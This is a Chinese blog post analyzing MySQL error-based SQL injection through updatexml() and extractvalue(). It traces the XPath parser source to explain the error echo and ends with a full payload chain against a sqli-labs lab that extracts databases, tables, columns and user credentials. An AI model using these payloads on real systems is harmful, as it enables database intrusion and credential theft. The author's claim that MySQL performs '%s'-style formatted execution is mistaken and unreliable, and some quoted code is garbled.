本篇原创作者-RJ45
前言
在和E神的日常讨论中...
背景
mysql的第5版本之后,添加了对xml文档进行查询和修改的两个xml函数 extractvalue()
和 updatexml()
,由此导致了一个xpath语法错误导致的报错注入。
xml文档
概念:xml文档是可拓展标记语言,与html类似,不同在于xml被设计来传输和存储数据,而html被设计来显示数据的。
实例:
代码语言:javascript复制<?xml version="1.0" ecoding="UTF-8" ?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
解释:xml文档是一种树结构,实例中,依次分为声明、属性、根元素、子元素。
xpath语法
概念:xpath语法是一门在xml文档中查找信息的语言。
节点:在xpath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释和文档根节点。在上述的xml文档中
代码语言:javascript复制<note></note>是文档节点。
<to></to>、<from>/from>、<heading></heading>和<body></body>是元素节点。
元素节点上可以带属性节点。
而在元素节点上的为基本值。
节点间的关系:在上述的xml文档中
代码语言:javascript复制<note></note>是父(Parent)、其他元素节点为子(Children),类似的为先辈(Ancestor)和后代(Descendant)关系。
<to></to>、<from>/from>、<heading></heading>和<body></body>是同胞(Sibling)关系。
语法:xpath使用路径表达式来选取xml文档中的节点或节点集。在上述的xml文档中
代码语言:javascript复制<?xml version="1.0" ecoding="UTF-8" ?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
选取节点
代码语言:javascript复制note为选取此节点的所有子节点
/从根节点选取
//从匹配到的当前节点选择
.选取当前节点
..选取当前节点的父节点
@选取属性
*匹配任何元素节点
@*匹配任何属性节点
node()匹配任何类型节点
/note/*选取note元素下的所有子元素
//*选取文档中的所有元素
//to[@*]选取所有带有属性的to元素
轴:轴可定义相对于当前节点的节点集
实例演示:
代码语言:javascript复制# 选取所有节点
/note
# 选取节点中的第一个子节点
/note/to
# 获取内容
/note/body/text()
参考
xml函数
extractvalue(): extractvalue(xmlfrg,xpathexpr)、使用xpath表示法从xml字符串中提取值。
updatexml():updatexml(xmltarget,xpathexpr,new_xml)、返回替换的xml片段。
xpath报错注入
在mysql的官方文档中对这两个函数的错误处理中有这么一句话:
代码语言:javascript复制对于ExtractValue和 UpdateXML,使用的XPath定位器必须有效,并且要搜索的XML必须包含正确嵌套和关闭的元素。如果定位器无效,从而产生错误
通过这个错误,也就产生了我们日常构造利用的mysql的报错注入:
代码语言:javascript复制http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(database()),0x7e)),1)--
代码语言:javascript复制http://192.168.3.21/Less-5/?id=1' and extractvalue(1,(concat(0x7e,(user()),0x7e)))--
那么,问题来了:第一、为什么它会产生这个错误?第二、为什么在xpath_expr位置构造目标sql就可以达到利用目的?
对错误的产生的分析
官方文档中对这个错误的描述是:
1 xpath的定位器(xpathexpr)无效;2 xpath的定位器(xpathexpr)没有正确嵌套和关闭元素。
也就是说,xpath语法错误,导致的错误抛出。
由于我C语言的基础n菜,故下面的分析仅供参考。
1、定位底层代码中的错误处理位置:(demo为mysql-server-5.5,在item_xmlfunc.cc中)
代码语言:javascript复制void Item_xml_str_func::fix_length_and_dec()
{
String *xp, tmp;
MY_XPATH xpath;
int rc;
...
rc= my_xpath_parse(&xpath, xp->ptr(), xp->ptr() xp->length());
if (!rc)
{
uint clen= xpath.query.end - xpath.lasttok.beg;
set_if_smaller(clen, 32);
my_printf_error(ER_UNKNOWN_ERROR, "XPATH syntax error: '%.*s'",
MYF(0), clen, xpath.lasttok.beg);
return;
}
...
当rc为0的时候,进入if结构内从而产生报错,生成错误信息,被控制利用。
rc为0,需要在myxpathparse函数的作用下产生。
myxpathparse函数的参数取自&xpath也即MY_XPATH,xp为一个字符串变量。
2、MY_XPATH:
代码语言:javascript复制/* XPath query parser */#XPath查询解析器
typedef struct my_xpath_st
{
int debug;
MY_XPATH_LEX query; /* Whole query#整体查询 */
MY_XPATH_LEX lasttok; /* last scanned token#上次扫描的令牌 */
MY_XPATH_LEX prevtok; /* previous scanned token#以前扫描的令牌 */
int axis; /* last scanned axis#上次扫描的轴 */
int extra; /* last scanned "extra", context dependent#上次扫描的“额外”,取决于上下文 */
MY_XPATH_FUNC *func; /* last scanned function creator#上次扫描的函数创建者 */
Item *item; /* current expression#当前表达式 */
Item *context; /* last scanned context#上次扫描的上下文 */
Item *rootelement; /* The root element#根元素 */
String *context_cache; /* last context provider#上一个上下文提供程序 */
String *pxml; /* Parsed XML, an array of MY_XML_NODE#解析的xml,myxml节点的数组 */
CHARSET_INFO *cs; /* character set/collation string comparison#类型 */
int error;
} MY_XPATH;
这是创建了一个结构体,这个结构体的内容猜测为扫描xml文档后产生的结果数据集。
3、myxpathparse函数
代码语言:javascript复制static int
my_xpath_parse(MY_XPATH *xpath, const char *str, const char *strend)
{
my_xpath_lex_init(&xpath->query, str, strend);
my_xpath_lex_init(&xpath->prevtok, str, strend);
my_xpath_lex_scan(xpath, &xpath->lasttok, str, strend);
xpath->rootelement= new Item_nodeset_func_rootelement(xpath->pxml);
return
my_xpath_parse_Expr(xpath) &&
my_xpath_parse_term(xpath, MY_XPATH_LEX_EOF);
}
在myxpathparse函数中,经myxpathlexinit函数、myxpathlexscan函数和Itemnodesetfuncrootelement函数的处理后,需要返回0,满足前面逻辑,也即myxpathparseExpr函数和myxpathparse_term的处理必须为0。
4、myxpathlexinit函数、myxpathlexscan函数、Itemnodesetfuncrootelement函数、myxpathparseExpr函数和myxpathparse_term函数:
myxpathlexinit函数 该函数作用为初始化beg和end变量;在myxpath_parse函数中作用为分别初始化Whole query整体查询的变量和previous scanned token以前扫描的令牌的变量。
代码语言:javascript复制/* Initialize a lex analizer token */#初始化lex analizer令牌
static void
my_xpath_lex_init(MY_XPATH_LEX *lex,
const char *str, const char *strend)
{
lex->beg= str;
lex->end= strend;
}
这里存在另一个结构体
代码语言:javascript复制/* Lexical analizer token */#词法分析器令牌
typedef struct my_xpath_lex_st
{
int term; /* token type, see MY_XPATH_LEX_XXXXX below */#令牌类型
const char *beg; /* beginnign of the token */#令牌开始
const char *end; /* end of the token */#令牌结束
} MY_XPATH_LEX;
myxpathlex_scan函数
代码语言:javascript复制/*
Scan the next token#扫描下一个令牌
SYNOPSYS
Scan the next token from the input.#扫描输入中的下一个标记。
lex->term is set to the scanned token type.#lex-> term设置为扫描的令牌类型。
lex->beg and lex->end are set to the beginnig and to the end of the token.#lex-> beg和lex-> end设置为开始和令牌的末尾。
RETURN
N/A
*/
static void
my_xpath_lex_scan(MY_XPATH *xpath,
MY_XPATH_LEX *lex, const char *beg, const char *end)
{
...
// check if an axis specifier, e.g.: /a/b/child::*#检查是否有轴说明符
else if (*beg == ':' && beg 1 < end && beg[1] == ':')
{
...
}
}
// check if a keyword#检查关键字
lex->term= my_xpath_keyword(xpath, my_keyword_names,
lex->beg, beg);
...
}
ch= *beg ;
if (ch > 0 && ch < 128 && simpletok[ch])
{
// a token consisting of one character found#由找到的一个字符组成的标记
...
}
if (my_xdigit(ch)) // a sequence of digits#数字
{
...
}
if (ch == '"' || ch == ''') // a string: either '...' or "..."#字符
{
...
}
else
{
// unexpected end-of-line, without closing quot sign#意外的行尾,没有结束引号
lex->end= end;
lex->term= MY_XPATH_LEX_ERROR;
return;
}
}
lex->end= beg;
lex->term= MY_XPATH_LEX_ERROR; // unknown character#未知字符
return;
}
可以看到,正如官网文档错误处理中解释的,当xpath语法出现意外的行尾、没有结束引号或未知字符等不符合xpath语法的时候就会设置令牌结束和令牌类型为MYXPATHLEX_ERROR,即 #defineMY_XPATH_LEX_ERROR'A'
令牌类型:
代码语言:javascript复制/*
XPath lexical tokens
*/
#define MY_XPATH_LEX_DIGITS 'd'
#define MY_XPATH_LEX_IDENT 'i'
#define MY_XPATH_LEX_STRING 's'
#define MY_XPATH_LEX_SLASH '/'
#define MY_XPATH_LEX_LB '['
#define MY_XPATH_LEX_RB ']'
#define MY_XPATH_LEX_LP '('
#define MY_XPATH_LEX_RP ')'
#define MY_XPATH_LEX_EQ '='
#define MY_XPATH_LEX_LESS '<'
#define MY_XPATH_LEX_GREATER '>'
#define MY_XPATH_LEX_AT '@'
#define MY_XPATH_LEX_COLON ':'
#define MY_XPATH_LEX_ASTERISK '*'
#define MY_XPATH_LEX_DOT '.'
#define MY_XPATH_LEX_VLINE '|'
#define MY_XPATH_LEX_MINUS '-'
#define MY_XPATH_LEX_PLUS ' '
#define MY_XPATH_LEX_EXCL '!'
#define MY_XPATH_LEX_COMMA ','
#define MY_XPATH_LEX_DOLLAR '$'
#define MY_XPATH_LEX_ERROR 'A'
#define MY_XPATH_LEX_EOF 'B'
#define MY_XPATH_LEX_AND 'C'
#define MY_XPATH_LEX_OR 'D'
#define MY_XPATH_LEX_DIV 'E'
#define MY_XPATH_LEX_MOD 'F'
#define MY_XPATH_LEX_FUNC 'G'
#define MY_XPATH_LEX_NODETYPE 'H'
#define MY_XPATH_LEX_AXIS 'I'
#define MY_XPATH_LEX_LE 'J'
#define MY_XPATH_LEX_GE 'K'
Itemnodesetfunc_rootelement函数 该函数的作用是扫描xml文档并返回根节点。
代码语言:javascript复制/* Returns an XML root */#返回XML根
class Item_nodeset_func_rootelement :public Item_nodeset_func
{
public:
Item_nodeset_func_rootelement(String *pxml): Item_nodeset_func(pxml) {}
const char *func_name() const { return "xpath_rootelement"; }
String *val_nodeset(String *nodeset);
};
myxpathparse_Expr函数 PredicateExpr:谓词表达式,根据注释,这个点怀疑是xpath中的谓语,查询特定节点或者包含某个指定的值的节点。
myxpathparse_term函数
代码语言:javascript复制/*
Scan the given token#扫描给定令牌
SYNOPSYS
Scan the given token and rotate lasttok to prevtok on success.
#扫描给定的令牌,并在成功时将lasttok(上次扫描的令牌)赋给prevtok(以前扫描的令牌)。
RETURN
1 - success
0 - failure
*/
static int
my_xpath_parse_term(MY_XPATH *xpath, int term)
{
if (xpath->lasttok.term == term && !xpath->error)
{
xpath->prevtok= xpath->lasttok;
my_xpath_lex_scan(xpath, &xpath->lasttok,
xpath->lasttok.end, xpath->query.end);
return 1;
}
return 0;
}
5、汇总分析:在核心函数myxpathparse中 当我们在注入 updatexml(1,(concat(0x7e,(database()),0x7e)),1)
或者 extractvalue(1,(concat(0x7e,(user()),0x7e)))
, 这里我简化为 updatexml(1,(database()),1)
和 extractvalue(1,(user()))
的时候,其存储于MYXPATH结构体内,query为 1
,lasttok和prevtok为 database()或者user()
。
在myxpathparse函数中,经myxpathlexinit两次初始化,通过另一个结构体MYXPATHLEX,细化了query和prevtok为开始和结束位置。
然后调用myxpathlexscan对lasttok的内容进行扫描分析,然而lasttok的内容为 database()或者user()
,在函数体内,进入了xpath语法错误的执行流程,致使位置分析结束,同时返回令牌类型term为 MY_XPATH_LEX_ERROR
也即 A
。
接着执行到myxpathparseterm的时候(Itemnodesetfuncrootelement和myxpathparseExpr无关影响),myxpathparseterm的参数一为存储了数据的MYXPATH结构体,二是默认参数MYXPATHLEXEOF即 B
,
显而易见,在myxpathparseterm的if分支中判断为A与B不相等,返回 0
。
从而使得myxpathparse返回 0
。使得在错误位置所在Itemxmlstrfunc::fixlengthanddec()函数中,rc=0,进入if分支内,引发后续报错。
对xpath_expr位置利用的分析
在Itemxmlstrfunc::fixlengthanddec()函数的if分支中,
代码语言:javascript复制if (!rc)
{
uint clen= xpath.query.end - xpath.lasttok.beg;
set_if_smaller(clen, 32);
my_printf_error(ER_UNKNOWN_ERROR, "XPATH syntax error: '%.*s'",
MYF(0), clen, xpath.lasttok.beg);
return;
}
setifsmaller函数设置了报错空间为32字节:#defineset_if_smaller(a,b)do{if((a)>(b))(a)=(b);}while(0)
。
myprintferror函数将错误类型编号,错误提示,以及MY_XPATH结构体中的lasttok.beg抛出到错误信息中。
恰恰是lasttok这个控制点,其中的内容为 database()或者user()
,造成了注入的产生。
这里存在一个需要解释的问题:
为什么将 xpath.lasttok.beg
,抛出到错误信息中,其中的内容会执行查询操作?
我以一个例子进行解释: 以下可以看到mysql也存在编程语言中的 %s
的格式化执行输出的!
select "Rj45:'%s'",(select database());
由此解释了在xpath_expr位置构造子查询进行xpath报错注入的整个利用过程。由于,报错的空间为32个字节,故需要利用concat()函数以及limit关键字对回显的数据进行拼接和限制输出。完整注入过程如下:
代码语言:javascript复制# 当前数据库
http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(database()),0x7e)),1)--
# 所有数据库
http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)),1)--
# 数据表
http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e)),1)--
# 表字段
http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_schema = database() limit 0,1),0x7e)),1)--
# 数据
http://192.168.3.21/Less-5/?id=1' and updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1)--
payload自行调整。
总结
xml文档被设计来传输和存储数据,其需要xpath语法在文档中查找数据信息。mysql为了实现对xml文档的支持,设计了两个xml函数。这两个xml函数在以xpath语法为基础的代码实现过程中, 对错误场景(出现意外的行尾、没有结束引号或未知字符集的情况下),设置令牌类型了为A, 这与扫描令牌函数myxpathparseterm的默认参数B不一致,从而进入了错误处理流程。在错误处理流程中,myprintf_error函数直接将错误场景下的错误xpath语法抛出到错误信息中, 由于其设置了格式化输出,当精心构造的‘错误的xpath语法’被抛出的时候,成为了一个可以控制的注入点,从而达到了攻击的条件。
感悟
1、代码一定要写好注释。
2、
参考
https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html